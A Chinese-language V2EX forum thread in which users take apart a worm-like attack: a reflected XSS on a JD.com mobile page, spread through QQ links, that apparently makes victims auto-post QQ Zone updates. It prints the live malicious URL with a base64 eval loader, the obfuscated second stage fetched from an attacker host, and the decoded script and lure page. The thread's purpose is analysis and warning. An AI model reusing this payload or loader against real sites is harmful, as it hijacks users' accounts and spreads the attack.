这是京东被日了? qq 或 tim 打开就会自动发说说

2017-12-22 14:39:24 +08:00
 cy97cool
这是京东被日了? qq 或 tim 打开就会自动发说说

weibo 短链接 /RTkcmPE

v2ex 不能发短链接,所以感兴趣的可以手动构造出完整 url

在 qq 或 tim 中慎点 如果点了及时删空间说说
8427 次点击
所在节点    全球工单系统
39 条回复
cy97cool
2017-12-22 14:41:20 +08:00
还原的长链接

http://initem.m.jd.com/product/1.html?奔驰男撞人还打人!嚣张气焰终于被干了!过瘾...24101"};eval(atob('dmFyIHM9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpOw0Kcy5zcmMgPSAiaHR0cDovL3d3dy5xcXZpZGVvLmdhL3htbC5waHAiOw0KZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzKTs='));x={c:"x
mozutaba
2017-12-22 14:42:24 +08:00
eval 这个函数你不觉得眼熟嘛?
cy97cool
2017-12-22 14:50:28 +08:00
jd 这个页面有 xss

atob 解密出来是

"var s= document.createElement(\"script\");

s.src = \"http://www.qqvideo.ga/xml.php\";

document.head.appendChild(s);"
cy97cool
2017-12-22 14:51:58 +08:00
在 qq 中点开这个 php 链接得到的是

(~eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('r=f(){l s};f m(6){7 4="";p(7 i=0;i<6.q;i++){7 a=6.t(i);e(a=="+"){4+=" "}d e(a=="%"){7 b=6.n(i+1,i+3);e(j("h"+b)>w){4+=x("%"+6.n(i+1,i+9));i+=8}d{4+=u.v(j("h"+b));i+=2}}d{4+=a}}l 4}f o(k){5.M("N/O","J");5.K(m(L(k.R)));5.Q()}7 g=5.P("B");g.C="y://z.D.H/I.G?E=c";5.F.A(g);',54,54,'||||ret|document|str|var|||chr|asc||else|if|function|vs|0x||parseInt|req|return|URLdecode|substring|callback_vs|for|length|onerror|true|charAt|String|fromCharCode|0x7f|decodeURI|http|www|appendChild|script|src|qqvideo|ac|head|php|ga|xml|replace|write|atob|open|text|html|createElement|close|content'.split('|'),0,{})))


不知道咋解密这 js。。。也许已经访问过会不一样?
fucker
2017-12-22 14:55:43 +08:00
洁癖用户试试这个


http://initem.m.jd.com/product/1.html?%22};eval(console.log(%27XSS%20TEST%27));x={c:%22x
cy97cool
2017-12-22 14:58:44 +08:00
@fucker
京东的 xss 已经很显然了,但在用户不知情的情况下自动发说说咋实现的 这一点也许更有趣
Va1n3R
2017-12-22 15:04:00 +08:00
京东的反射性 XSS+腾讯 QQ 空间的 CSRF,如果在 qq 空间中所发的内容包含原短连接,那么就是组合型的蠕虫漏洞的。

京东的 XSS 经过了混淆的,大概意思就是从 http://www.qqvideo.ga/xml.php 这个页面获取下一步动作

电脑访问会跳转到腾讯视频,手机访问则会直接执行恶意代码

###修改 UA 访问以下链接就会得到不同的内容。
http://www.qqvideo.ga/xml.php
fucker
2017-12-22 15:06:41 +08:00
@cy97cool 你用 QQ 浏览器或者 QQ 内嵌浏览器,目测可以执行代码,自动发说说。
如果你换其他浏览器,或者清空 QQ 浏览器 cookie,那是肯定不能发说说的。
估计是 csrf
Va1n3R
2017-12-22 15:07:27 +08:00
@cy97cool 可以搜一搜 CSRF 漏洞,大概意思就是 http://www.qq.com/forget.php 这个是一个忘记密码的页面,一般需要用户自己进去,但是黑客可以构造一个页面让你访问后直接访问 http://www.qq.com/forget.php?yes 这个页面,造成的效果就是访问了一个其他的页面,缺执行了 qq 里面的动作。 一般是没有加上 token 造成的漏洞。楼主这个地方也可能是别的漏洞造成的,但是我觉得 CSRF 可能性最大。
cy97cool
2017-12-22 15:09:24 +08:00
@Va1n3R 原理其实我都懂。。。。只是想知道这个 csrf 的具体实现
fucker
2017-12-22 15:11:36 +08:00
@cy97cool 看到#7 @Va1n3R 的回复,估计差不多了。
那段 js 是混淆过的,(常年目测 md5 值的)我目测是模拟用户发布说说的动作
cy97cool
2017-12-22 15:17:53 +08:00
@Va1n3R 大神能不能解密一下人家这 xml.php 啊

我已经在 4 楼给出了,但尝试执行也会报 c35 没定义的错。。。手动把 c35 定义为 0 可以得到内容但网址是 undefined
janxin
2017-12-22 15:19:07 +08:00
刚刚试了一下已经修了?
fucker
2017-12-22 15:19:37 +08:00
@cy97cool 那你直接 document.write 一下呀,把 eval 去掉就可以了
janxin
2017-12-22 15:19:57 +08:00
看错了还没修
ljsh0102
2017-12-22 15:20:25 +08:00
没生效啊
cy97cool
2017-12-22 15:23:04 +08:00
@fucker 你试试咯。。。。
c35 is not defined

难道 qq 浏览器有啥 js 内置变量导致这个判断能过?
fucker
2017-12-22 15:23:31 +08:00
@cy97cool 应该是对别的 js 的 hack,没有上下文关系,当然是未定义了
pelloz
2017-12-22 15:24:29 +08:00
将 c35 分别等于 true 和 false 可以得到两份代码,然后将两份代码合并就能得到完整代码
----------------------
onerror = function () { return true };

function URLdecode(str) {
var ret = "";
for (var i = 0;
i < str.length;
i++) {
var chr = str.charAt(i);
if (chr == "+") { ret += " " } else if (chr == "%") {
var asc = str.substring(i + 1, i + 3);
if (parseInt("0x" + asc) > 0x7f) {
ret += decodeURI("%" + str.substring(i + 1, i + 9));
i += 8
} else {
ret += String.fromCharCode(parseInt("0x" + asc));
i += 2
}
} else { ret += chr }
} return ret
}

function callback_vs(req) {
document.open("text/html", "replace");
document.write(URLdecode(atob(req.content)));
document.close()
}

var vs = document.createElement("script");

vs.src = "http://www.qqvideo.ga/xml.php?ac==c";


document.head.appendChild(vs);
-----------------------------
Va1n3R
2017-12-22 15:25:41 +08:00
解开了,上面第一次获取的是一个 GET 访问动作:
http://www.qqvideo.ga/xml.php?ac=c
获取下一步操作
内容是一段 base64 和 URLencode 的处理过的,
```HTML
<!doctype html><html><head><title>精彩视频分享!</title><meta charset="utf-8"><meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0"name="viewport"/><link rel="stylesheet"href="http://www.qqvideo.ga/inc/css.css?121509"><script src="http://apps.bdimg.com/libs/jquery/2.1.1/jquery.min.js"></script><script src="http://www.qqvideo.ga/inc/clipboard.min.js"></script><script src="http://imgcache.gtimg.cn/tencentvideo_v1/tvp/js/tvp.player_v2.js"></script><meta itemprop="name"content=""/><meta itemprop="image"content=""/><meta name="description"itemprop="description"content=""/></head><body><div class="rich_media_title"></div><div class="videoId" id="videoId"></div><div class="winfo"><div class="txttj"><ul id="text_info"></ul></div><div class="imgtj"><div class="wntj"><span>为你推荐</span></div><div class="imgtjlist"></div></div></div><div class="fxbac"></div><div class="sharebox"><div class="p1msg">请分享到 QQ 空间!<br>分享完成后可继续观看。</div><div class="box-bottom"><a class="button-l"href='javascript:;'rel="noreferrer">立即分享</a><span class="button-r">取消</span></div></div><script type="text/javascript"src="http://www.qqvideo.ga/index.js?121535"></script><span style="display:none;"><script src="https://js.users.51.la/6036599.js"></script></span><span id="bottom">Copyright&copy 2017-2018</span></body></html>
```
懒的搞了,服了这些黑产的....

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/416827

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX